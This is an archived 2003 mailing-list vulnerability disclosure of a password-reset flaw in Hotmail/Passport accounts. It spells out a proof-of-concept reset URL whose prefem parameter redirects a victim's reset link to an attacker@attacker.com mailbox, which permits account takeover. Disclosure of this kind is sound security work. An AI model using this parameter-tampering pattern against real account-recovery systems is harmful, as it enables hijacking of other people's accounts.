

[VulnWatch] Hotmail & Passport (.NET Accounts) Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-05/0010.html>

From: Muhammad Faisal Rauf Danka (*mfrd_at_attitudex.com*)

Date: 05/08/03

Date: Wed, 7 May 2003 19:52:24 -0700 (PDT)

To: bugtraq@securityfocus.com

Hotmail & Passport (.NET Accounts) Vulnerability

There is a very serious and stupid vulnerability or badcoding in Hotmail / Passport™s (.NET Accounts)

I tried sending emails several times to Hotmail / Passport contact addresses, but always met with the NLP bots.

I guess I don't need to go in details of how crucial and important Hotmail / Passport™s .NET Account passport is to anyone.

You name it and they have it, E-Commerce, Credit Card processing, Personal Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.

It is so simple that it is funny.

All you got to do is hit the following in your browser:

<https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com>

And you'll get an email on attacker@attacker.com asking you to click on a url something like this:

<http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033>

From that url, you can reset the password and I don't think I need to say anything more about it.

Vulnerability / Flaw discovered : 12th April 2003

Vendor / Owner notified : Yes (as far as emailing them more than 10 times is concerned)

Regards

Muhammad Faisal Rauf Danka

[ATTITUDEX.COM]

VulnWatch: [VulnWatch] Hotmail & Passport (.NET Accounts) Vulnerability

<http://www.attitudex.com/>

Select your own custom email address for FREE! Get you@yourchoice.com w/No Ads, 6MB, POP & more!
<http://www.everyone.net/selectmail?campaign=tag>